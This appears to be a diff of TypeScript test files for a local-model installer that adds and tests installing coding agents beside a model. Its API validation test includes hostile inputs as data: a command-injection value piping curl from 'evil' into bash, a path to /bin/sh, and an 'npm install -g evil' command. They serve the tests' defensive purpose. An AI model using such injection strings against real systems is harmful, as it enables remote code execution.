entry.cli === 'deepseek' ? fact('deepseek', 'DeepSeek', { installable: true, installCommand: 'y' }) : entry
|
||||
);
|
||||
const during = rows(SAMPLE.installed, both, { running: 'pi' });
|
||||
expect(during.find((row) => row.cli === 'pi')).toMatchObject({
|
||||
status: 'installing',
|
||||
installCommand: 'npm install -g pi',
|
||||
actions: [],
|
||||
});
|
||||
expect(during.find((row) => row.cli === 'deepseek')).toMatchObject({ status: 'installable', actions: [] });
|
||||
// The installer has landed and the memory has not caught up: the fact wins.
|
||||
const landed = both.map((entry) => (entry.cli === 'pi' ? fact('pi', 'Pi', { installed: true }) : entry));
|
||||
expect(rows(SAMPLE.installed, landed, { running: 'pi' }).find((row) => row.cli === 'pi')).toMatchObject({
|
||||
status: 'ready',
|
||||
});
|
||||
});
|
||||
|
||||
it("a failed install stays on its row with the installer's last words, until the agent is there", () => {
|
||||
const failed = { failed: { pi: { detail: 'npm ERR! network' } } };
|
||||
expect(rows(SAMPLE.installed, FACTS, failed).find((row) => row.cli === 'pi')).toMatchObject({
|
||||
status: 'installable',
|
||||
actions: ['install'],
|
||||
error: {
|
||||
message: { text: LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed, vars: { cli: 'Pi' } },
|
||||
detail: 'npm ERR! network',
|
||||
},
|
||||
});
|
||||
const there = FACTS.map((entry) => (entry.cli === 'pi' ? fact('pi', 'Pi', { installed: true }) : entry));
|
||||
expect(rows(SAMPLE.installed, there, failed).find((row) => row.cli === 'pi')).not.toHaveProperty('error');
|
||||
});
|
||||
|
||||
it('the view: an agent that can be started offers a session exactly when the model does', () => {
|
||||
const harnesses = rows();
|
||||
const up = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, digest: 'same', harnesses });
|
||||
expect(up.harnesses.map((row) => [row.cli, row.actions])).toEqual([
|
||||
['opencode', ['start-session']],
|
||||
['claude', ['start-session']],
|
||||
['pi', ['install']],
|
||||
['deepseek', []],
|
||||
]);
|
||||
expect(up.actions).toContain('install-agent');
|
||||
expect(up.actions).toContain('start-session');
|
||||
// A stopped runtime: nothing is started, an agent can still be installed.
|
||||
const down = buildInstallView(SAMPLE.installed, { ...LIVE, running: false, harnesses });
|
||||
expect(down.harnesses.map((row) => row.actions)).toEqual([[], [], ['install'], []]);
|
||||
expect(down.actions).not.toContain('start-session');
|
||||
expect(down.actions).toContain('install-agent');
|
||||
// The live facts are not changed by the view.
|
||||
expect(harnesses[0].actions).toEqual([]);
|
||||
});
|
||||
|
||||
it('the view: with no agent that can be started no session is offered, and `cli` names the default row', () => {
|
||||
const none = FACTS.map((entry) => fact(entry.cli, entry.label, { installable: true, installCommand: 'x' }));
|
||||
const view = buildInstallView(SAMPLE.installed, {
|
||||
...LIVE,
|
||||
running: true,
|
||||
digest: 'same',
|
||||
harnesses: rows(SAMPLE.installed, none),
|
||||
});
|
||||
expect(view.actions).not.toContain('start-session');
|
||||
expect(view.actions).toContain('install-agent');
|
||||
expect(view.cli).toBe('opencode');
|
||||
|
||||
const gone = FACTS.map((entry) =>
|
||||
entry.cli === 'opencode' ? fact('opencode', 'OpenCode', { installable: true, installCommand: 'x' }) : entry
|
||||
);
|
||||
const other = buildInstallView(SAMPLE.installed, {
|
||||
...LIVE,
|
||||
running: true,
|
||||
digest: 'same',
|
||||
harnesses: rows(SAMPLE.installed, gone),
|
||||
});
|
||||
// What an older client reads as "the agent to start": one that is there.
|
||||
expect([other.cli, other.cliLabel]).toEqual(['claude', 'Claude Code']);
|
||||
expect(other.actions).toContain('start-session');
|
||||
});
|
||||
|
||||
it('install-agent is an action of the installed state only', () => {
|
||||
for (const state of Object.keys(INSTALL_STATE_TABLE) as LocalModelInstallState[]) {
|
||||
expect(INSTALL_STATE_TABLE[state].actions.includes('install-agent')).toBe(state === 'installed');
|
||||
}
|
||||
// Listed only while a row offers it.
|
||||
expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true })).not.toContain('install-agent');
|
||||
});
|
||||
});
|
||||
|
||||
describe('markLibraryCandidates', () => {
|
||||
const candidate = (modelId: string, context: number) => ({ modelId, context }) as Recommendation['alternatives'][0];
|
||||
const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true });
|
||||
|
||||
@@ -253,7 +253,9 @@ function setup(
|
||||
) {
|
||||
const store = memoryStore(options.state);
|
||||
const world = {
|
||||
agentInstalled: options.agentInstalled ?? false,
|
||||
// A model that is installed was installed with its coding agent: what the world holds
|
||||
// then, unless the test says the agent has gone since.
|
||||
agentInstalled: options.agentInstalled ?? options.state?.state === 'installed',
|
||||
runtimeOnDisk: options.runtimeOnDisk ?? false,
|
||||
clock: 1_000_000,
|
||||
startResult: undefined as RuntimeStartResult | undefined,
|
||||
@@ -294,7 +296,22 @@ function setup(
|
||||
const deps = {
|
||||
readHardware: vi.fn(async () => MAC),
|
||||
getCatalog: vi.fn(() => CATALOG),
|
||||
buildHarnessFacts: vi.fn(async () => FACTS),
|
||||
// The facts follow the world, like the real probe: an agent that is on this Mac is not
|
||||
// offered for install, and one that is missing is.
|
||||
buildHarnessFacts: vi.fn(
|
||||
async (): Promise<HarnessFact[]> =>
|
||||
FACTS.map((fact) =>
|
||||
world.agentInstalled
|
||||
? {
|
||||
cli: fact.cli,
|
||||
label: fact.label,
|
||||
installed: true,
|
||||
installable: false,
|
||||
acceptsModelId: fact.acceptsModelId,
|
||||
}
|
||||
: fact
|
||||
)
|
||||
),
|
||||
recommend: vi.fn(() => recommendation(world.agentInstalled)),
|
||||
modelFitsBudget: vi.fn(() => true),
|
||||
isRuntimeInstalled: vi.fn(async () => world.runtimeOnDisk),
|
||||
@@ -1771,6 +1788,7 @@ describe('Remove', () => {
|
||||
library: [],
|
||||
// Measured again after the Remove: the store is empty here.
|
||||
store: { bytes: 0, gb: '0.0' },
|
||||
harnesses: [],
|
||||
actions: ['install'],
|
||||
});
|
||||
expect(h.store.get()).toMatchObject({ schema: 1, state: 'idle' });
|
||||
@@ -3035,6 +3053,23 @@ describe('use: the switch to a checked model', () => {
|
||||
expect(withoutPi.store.get().cli).toEqual({ id: 'opencode', label: 'OpenCode' });
|
||||
});
|
||||
|
||||
it('with neither of the two installed it takes another agent the model can be run with that is on this Mac', async () => {
|
||||
const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: false });
|
||||
// OpenCode has gone; Claude Code, the catalogue's other harness, is there.
|
||||
h.deps.buildHarnessFacts.mockImplementation(async () => [
|
||||
FACTS[0],
|
||||
{ cli: 'claude', label: 'Claude Code', installed: true, installable: false, acceptsModelId: () => true },
|
||||
]);
|
||||
await h.service.boot();
|
||||
expect((await h.service.use({ modelId: GPT.id }, ADMIN)).ok).toBe(true);
|
||||
await h.service.idle();
|
||||
expect(h.store.get()).toMatchObject({
|
||||
state: 'installed',
|
||||
model: { id: GPT.id },
|
||||
cli: { id: 'claude', label: 'Claude Code' },
|
||||
});
|
||||
});
|
||||
|
||||
it('with no coding agent of the two installed it is refused, in one sentence, and nothing starts', async () => {
|
||||
const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: false });
|
||||
await h.service.boot();
|
||||
@@ -3100,6 +3135,206 @@ describe('use: the switch to a checked model', () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe('installAgent: one more coding agent beside an installed model', () => {
|
||||
/** An installed, running model whose coding agent is not on this Mac. */
|
||||
async function withoutAgent() {
|
||||
const h = setup({ state: INSTALLED, runtimeOnDisk: true, agentInstalled: false });
|
||||
await h.service.boot();
|
||||
return h;
|
||||
}
|
||||
|
||||
it('the view offers it: the agent with its literal command, no session, and the state untouched', async () => {
|
||||
const h = await withoutAgent();
|
||||
const view = await h.service.view();
|
||||
expect(view.state).toBe('installed');
|
||||
expect(view.harnesses).toEqual([
|
||||
{
|
||||
cli: 'opencode',
|
||||
cliLabel: 'OpenCode',
|
||||
default: true,
|
||||
status: 'installable',
|
||||
installCommand: INSTALL_COMMAND,
|
||||
actions: ['install'],
|
||||
},
|
||||
]);
|
||||
expect(view.actions).toContain('install-agent');
|
||||
// Nothing can be started, so no session is offered: the window says "Install OpenCode".
|
||||
expect(view.actions).not.toContain('start-session');
|
||||
});
|
||||
|
||||
it('answers once the installer is started, runs the stock command in the shared slot, and ends on an agent that can be started', async () => {
|
||||
const h = await withoutAgent();
|
||||
let finish: () => void = () => {};
|
||||
h.deps.runInstallCommand.mockImplementation(
|
||||
() =>
|
||||
new Promise((resolve) => {
|
||||
finish = () => {
|
||||
h.world.agentInstalled = true;
|
||||
resolve({ code: 0, output: 'opencode installed\n', timedOut: false, aborted: false });
|
||||
};
|
||||
})
|
||||
);
|
||||
const before = structuredClone(h.store.get());
|
||||
|
||||
const started = await h.service.installAgent({ cli: 'opencode' }, ADMIN);
|
||||
expect(started.ok).toBe(true);
|
||||
if (!started.ok) throw new Error('unreachable');
|
||||
// While it runs: the row says so, nothing else is offered for it, and the model is as it was.
|
||||
expect(started.view.state).toBe('installed');
|
||||
expect(started.view.harnesses[0]).toMatchObject({
|
||||
status: 'installing',
|
||||
installCommand: INSTALL_COMMAND,
|
||||
actions: [],
|
||||
});
|
||||
expect(started.view.actions).not.toContain('install-agent');
|
||||
await vi.waitFor(() => expect(h.deps.runInstallCommand).toHaveBeenCalledTimes(1));
|
||||
const [command, options] = h.deps.runInstallCommand.mock.calls[0] as unknown as [string, { signal: AbortSignal }];
|
||||
expect(command).toBe(INSTALL_COMMAND);
|
||||
expect(options.signal).toBeInstanceOf(AbortSignal);
|
||||
expect(h.deps.tryBeginCliInstall).toHaveBeenCalledWith('opencode');
|
||||
// Not a job: a session on the model is still not refused.
|
||||
expect(await h.service.launchRefusal('local-ollama')).toBeUndefined();
|
||||
|
||||
finish();
|
||||
await h.service.idle();
|
||||
const view = await h.service.view();
|
||||
expect(view.harnesses).toEqual([
|
||||
{ cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', actions: ['start-session'] },
|
||||
]);
|
||||
expect(view.actions).toContain('start-session');
|
||||
expect(h.calls).toContain('release');
|
||||
expect(h.deps.audit).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
admin: ADMIN.username,
|
||||
action: 'cli_install',
|
||||
target: 'opencode',
|
||||
detail: expect.objectContaining({ command: INSTALL_COMMAND, exitCode: 0, via: 'local-model' }),
|
||||
})
|
||||
);
|
||||
// The state file never heard of it (the pid and the time of a write aside, nothing moved).
|
||||
expect(h.store.get()).toEqual(before);
|
||||
});
|
||||
|
||||
it('an installer that fails leaves the model installed and usable, and its last words on the row', async () => {
|
||||
const h = await withoutAgent();
|
||||
h.deps.runInstallCommand.mockResolvedValue({
|
||||
code: 1,
|
||||
output: 'npm ERR! network request failed',
|
||||
timedOut: false,
|
||||
aborted: false,
|
||||
});
|
||||
expect((await h.service.installAgent({ cli: 'opencode' }, ADMIN)).ok).toBe(true);
|
||||
await h.service.idle();
|
||||
const view = await h.service.view();
|
||||
expect(view.state).toBe('installed');
|
||||
expect(view).not.toHaveProperty('error');
|
||||
expect(view.harnesses[0]).toMatchObject({
|
||||
status: 'installable',
|
||||
actions: ['install'],
|
||||
error: {
|
||||
message: { text: LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed, vars: { cli: 'OpenCode' } },
|
||||
detail: 'npm ERR! network request failed',
|
||||
},
|
||||
});
|
||||
expect(h.store.get().state).toBe('installed');
|
||||
expect(await h.service.launchRefusal('local-ollama')).toBeUndefined();
|
||||
|
||||
// Try again: the old failure is gone the moment the new attempt starts, and it can work.
|
||||
h.deps.runInstallCommand.mockImplementation(async () => {
|
||||
h.world.agentInstalled = true;
|
||||
return { code: 0, output: '', timedOut: false, aborted: false };
|
||||
});
|
||||
const again = await h.service.installAgent({ cli: 'opencode' }, ADMIN);
|
||||
if (!again.ok) throw new Error('unreachable');
|
||||
expect(again.view.harnesses[0]).not.toHaveProperty('error');
|
||||
await h.service.idle();
|
||||
expect((await h.service.view()).harnesses[0]).toMatchObject({ status: 'ready' });
|
||||
});
|
||||
|
||||
it('one installer at a time: a second request while one runs is 409 job-running', async () => {
|
||||
const h = await withoutAgent();
|
||||
let finish: () => void = () => {};
|
||||
h.deps.runInstallCommand.mockImplementation(
|
||||
() =>
|
||||
new Promise((resolve) => {
|
||||
finish = () => resolve({ code: 1, output: 'stopped', timedOut: false, aborted: false });
|
||||
})
|
||||
);
|
||||
expect((await h.service.installAgent({ cli: 'opencode' }, ADMIN)).ok).toBe(true);
|
||||
expect(await h.service.installAgent({ cli: 'opencode' }, ADMIN)).toMatchObject({
|
||||
ok: false,
|
||||
status: 409,
|
||||
conflict: { reason: 'job-running' },
|
||||
});
|
||||
await vi.waitFor(() => expect(h.deps.runInstallCommand).toHaveBeenCalledTimes(1));
|
||||
finish();
|
||||
await h.service.idle();
|
||||
expect(h.deps.runInstallCommand).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it('an agent that is already there answers with the view and runs nothing', async () => {
|
||||
const h = setup({ state: INSTALLED, runtimeOnDisk: true });
|
||||
await h.service.boot();
|
||||
const result = await h.service.installAgent({ cli: 'opencode' }, ADMIN);
|
||||
expect(result.ok).toBe(true);
|
||||
expect(h.deps.runInstallCommand).not.toHaveBeenCalled();
|
||||
expect(h.deps.tryBeginCliInstall).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('refuses an agent the view does not list, and one that one command does not make startable', async () => {
|
||||
const h = await withoutAgent();
|
||||
// `claude` is a catalogue harness with no fact here (the registry does not offer it).
|
||||
for (const cli of ['claude', 'not-a-cli']) {
|
||||
expect(await h.service.installAgent({ cli }, ADMIN)).toEqual({
|
||||
ok: false,
|
||||
status: 400,
|
||||
message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotOffered },
|
||||
});
|
||||
}
|
||||
// A launcher, or a command that needs an administrator: listed, never installed from here.
|
||||
h.deps.buildHarnessFacts.mockImplementation(async () => [
|
||||
{ cli: 'opencode', label: 'OpenCode', installed: false, installable: false, acceptsModelId: () => true },
|
||||
]);
|
||||
expect((await h.service.view()).harnesses[0]).toMatchObject({ status: 'setup-needed', actions: [] });
|
||||
expect(await h.service.installAgent({ cli: 'opencode' }, ADMIN)).toEqual({
|
||||
ok: false,
|
||||
status: 400,
|
||||
message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: 'OpenCode' } },
|
||||
});
|
||||
expect(h.deps.runInstallCommand).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('is refused outside installed: 409 wrong-state', async () => {
|
||||
for (const state of [undefined, jobAt('model', 'paused')]) {
|
||||
const h = setup(state ? { state } : {});
|
||||
expect(await h.service.installAgent({ cli: 'opencode' }, ADMIN)).toMatchObject({
|
||||
ok: false,
|
||||
status: 409,
|
||||
conflict: { reason: 'wrong-state' },
|
||||
});
|
||||
expect(h.deps.runInstallCommand).not.toHaveBeenCalled();
|
||||
}
|
||||
});
|
||||
|
||||
it('a server that stops ends the installer and records nothing', async () => {
|
||||
const h = await withoutAgent();
|
||||
let seen: AbortSignal | undefined;
|
||||
h.deps.runInstallCommand.mockImplementation((async (_command: string, options?: { signal?: AbortSignal }) => {
|
||||
seen = options?.signal;
|
||||
await untilAborted(options?.signal);
|
||||
return { code: null, output: '', timedOut: false, aborted: true };
|
||||
}) as never);
|
||||
await h.service.installAgent({ cli: 'opencode' }, ADMIN);
|
||||
await vi.waitFor(() => expect(seen).toBeDefined());
|
||||
await h.service.shutdown();
|
||||
expect(seen?.aborted).toBe(true);
|
||||
await h.service.idle();
|
||||
expect(h.store.get().state).toBe('installed');
|
||||
// Interrupted is not failed: the row has no error.
|
||||
expect((await h.service.view()).harnesses[0]).not.toHaveProperty('error');
|
||||
});
|
||||
});
|
||||
|
||||
describe('deleteLibraryModel: one model out of the store', () => {
|
||||
async function twoModelsRunning() {
|
||||
const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: true });
|
||||
|
||||
@@ -150,7 +150,12 @@ function without(facts: HardwareFacts, ...fields: (keyof HardwareFacts)[]): Hard
|
||||
}
|
||||
|
||||
/** Display labels of the stock harnesses, as the CLI registry would supply them. Data, not a branch. */
|
||||
const HARNESS_LABELS: Record<string, string> = { opencode: 'OpenCode', claude: 'Claude Code', pi: 'Pi' };
|
||||
const HARNESS_LABELS: Record<string, string> = {
|
||||
opencode: 'OpenCode',
|
||||
claude: 'Claude Code',
|
||||
pi: 'Pi',
|
||||
deepseek: 'DeepSeek',
|
||||
};
|
||||
|
||||
/** What the server knows about one harness: installed and accepting every model id, unless overridden. */
|
||||
function fact(cli: string, overrides: Partial<HarnessFact> = {}): HarnessFact {
|
||||
@@ -170,7 +175,10 @@ const STOCK = getLocalModelCatalog();
|
||||
/** The frozen catalogue of 2026-11-06: for the rule tests (see the file header). */
|
||||
const RULES = LocalModelCatalogSchema.parse(RULES_LOCAL_MODEL_CATALOG);
|
||||
|
||||
/** Every harness installed, the gated one included. Both catalogues list the same three. */
|
||||
/**
|
||||
* Every harness installed. The stock catalogue lists four and gates none; the rules catalogue
|
||||
* lists the first three of them and gates one, which is what the gate tests need.
|
||||
*/
|
||||
const ALL_INSTALLED: HarnessFact[] = STOCK.harnesses.map((row) => fact(row.cli));
|
||||
|
||||
/** A stock model row by id. */
|
||||
@@ -595,9 +603,12 @@ describe('the MacBook Pro (Mac17,13: Apple M5 Pro, 48 GB)', () => {
|
||||
tested: true,
|
||||
needSource: 'measured',
|
||||
tag: { kind: 'tested', label: 'Tested on a Mac like this' },
|
||||
// Every harness of the catalogue can run it, the pick's own first, then by rank.
|
||||
harnesses: [
|
||||
{ cli: 'opencode', cliLabel: 'OpenCode', installed: true },
|
||||
{ cli: 'claude', cliLabel: 'Claude Code', installed: true, slowFirstTurn: true },
|
||||
{ cli: 'pi', cliLabel: 'Pi', installed: true },
|
||||
{ cli: 'deepseek', cliLabel: 'DeepSeek', installed: true },
|
||||
],
|
||||
// No runtime download was named, so an install downloads the model alone.
|
||||
installBytes: 23_105_798_956,
|
||||
@@ -1642,9 +1653,12 @@ describe('harnesses', () => {
|
||||
const hw = mac(48, 'Apple M4 Max');
|
||||
|
||||
it('never chooses a gated harness, even when it is the only one that could run a model', () => {
|
||||
// The rule is tested on the rules catalogue, which gates one harness. The stock catalogue
|
||||
// gates none since 2026-11-10; the sweep still runs on it, so a row gated again is covered.
|
||||
expect(RULES.harnesses.filter((row) => row.gated).map((row) => row.cli)).toEqual(['pi']);
|
||||
expect(STOCK.harnesses.filter((row) => row.gated)).toEqual([]);
|
||||
for (const [, catalog] of BOTH) {
|
||||
const gated = catalog.harnesses.filter((row) => row.gated).map((row) => row.cli);
|
||||
expect(gated).toEqual(['pi']);
|
||||
for (const swept of SWEEP) {
|
||||
const result = recommend(swept, catalog, ALL_INSTALLED);
|
||||
for (const candidate of rows(result)) {
|
||||
|
||||
@@ -156,6 +156,7 @@ const IDLE_VIEW: LocalModelInstallView = {
|
||||
runtime: { version: '0.40.15', installed: false, downloadBytes: 185971671, downloadGb: '0.2', unpackedGb: '0.6' },
|
||||
folder: '/Users/me/.codeman/local-model',
|
||||
library: [],
|
||||
harnesses: [],
|
||||
actions: ['install'],
|
||||
};
|
||||
|
||||
@@ -185,6 +186,7 @@ function fakeService(): ServiceMock {
|
||||
install: vi.fn(async () => OK_RESULT),
|
||||
use: vi.fn(async () => OK_RESULT),
|
||||
deleteLibraryModel: vi.fn(async () => OK_RESULT),
|
||||
installAgent: vi.fn(async () => OK_RESULT),
|
||||
cancel: vi.fn(async () => OK_RESULT),
|
||||
resume: vi.fn(async () => OK_RESULT),
|
||||
runtime: vi.fn(async () => OK_RESULT),
|
||||
@@ -284,8 +286,21 @@ describe('GET /api/local-model', () => {
|
||||
const res = await get(f.deps);
|
||||
expect(res.json().data.install).toEqual(INSTALLING_VIEW);
|
||||
expect(f.service.view).toHaveBeenCalledTimes(1);
|
||||
// The facts built for the recommendation are the ones the view lists its coding agents
|
||||
// from: the availability probe is asked once per answer, not twice.
|
||||
expect(f.service.view).toHaveBeenCalledWith({ harnessFacts: FACTS });
|
||||
expect(f.buildHarnessFacts).toHaveBeenCalledTimes(1);
|
||||
// Looking is not doing: no verb of the service was called.
|
||||
for (const verb of ['install', 'cancel', 'resume', 'runtime', 'remove', 'boot', 'shutdown'] as const) {
|
||||
for (const verb of [
|
||||
'install',
|
||||
'installAgent',
|
||||
'cancel',
|
||||
'resume',
|
||||
'runtime',
|
||||
'remove',
|
||||
'boot',
|
||||
'shutdown',
|
||||
] as const) {
|
||||
expect(f.service[verb]).not.toHaveBeenCalled();
|
||||
}
|
||||
});
|
||||
@@ -565,6 +580,7 @@ describe('the install verbs', () => {
|
||||
url: '/api/local-model/models',
|
||||
payload: { modelId: 'qwen3.8:27b' },
|
||||
},
|
||||
{ name: 'installAgent', method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } },
|
||||
{ name: 'cancel', method: 'POST', url: '/api/local-model/cancel', payload: undefined },
|
||||
{ name: 'resume', method: 'POST', url: '/api/local-model/resume', payload: {} },
|
||||
{ name: 'runtime', method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } },
|
||||
@@ -996,6 +1012,67 @@ describe('the library verbs', () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/local-model/agent', () => {
|
||||
it('hands the service the coding agent and who asked, and looks at no session', async () => {
|
||||
const f = fakes();
|
||||
const { app } = await harness(f.deps, { username: 'alice', role: 'admin' }, SESSIONS);
|
||||
await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } });
|
||||
// Nothing about the model in use changes, so live sessions on it do not matter.
|
||||
expect(f.service.installAgent).toHaveBeenCalledWith({ cli: 'pi' }, { username: 'alice', ip: '127.0.0.1' });
|
||||
});
|
||||
|
||||
it('an agent the server does not offer is a 400 with the sentence, as text and as data', async () => {
|
||||
const f = fakes();
|
||||
f.service.installAgent.mockResolvedValue({
|
||||
ok: false,
|
||||
status: 400,
|
||||
message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: 'DeepSeek' } },
|
||||
});
|
||||
const { app } = await harness(f.deps);
|
||||
const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'deepseek' } });
|
||||
expect(res.statusCode).toBe(400);
|
||||
expect(res.json()).toEqual({
|
||||
success: false,
|
||||
error: 'DeepSeek is not installed and cannot be installed from here.',
|
||||
errorCode: 'INVALID_INPUT',
|
||||
data: {
|
||||
message: {
|
||||
text: '{cli} is not installed and cannot be installed from here.',
|
||||
vars: { cli: 'DeepSeek' },
|
||||
},
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
it('an installer that already runs is a 409 with the reason', async () => {
|
||||
const f = fakes();
|
||||
f.service.installAgent.mockResolvedValue({
|
||||
ok: false,
|
||||
status: 409,
|
||||
conflict: { reason: 'job-running', message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning } },
|
||||
});
|
||||
const { app } = await harness(f.deps);
|
||||
const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } });
|
||||
expect(res.statusCode).toBe(409);
|
||||
expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT', data: { reason: 'job-running' } });
|
||||
});
|
||||
|
||||
it.each([
|
||||
['no body', undefined],
|
||||
['no agent', {}],
|
||||
['a command', { cli: 'pi; curl evil | bash' }],
|
||||
['a path', { cli: '../bin/sh' }],
|
||||
['an upper-case id', { cli: 'Pi' }],
|
||||
['a command of its own', { cli: 'pi', command: 'npm install -g evil' }],
|
||||
])('refuses %s before the service is asked', async (_name, payload) => {
|
||||
const f = fakes();
|
||||
const { app } = await harness(f.deps);
|
||||
const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', ...(payload ? { payload } : {}) });
|
||||
expect(res.statusCode).toBe(400);
|
||||
expect(f.service.installAgent).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe('DELETE /api/local-model/models', () => {
|
||||
it('hands the service the model name and who asked', async () => {
|
||||
const f = fakes();
|
||||
|
||||
Reference in new issue
Block a user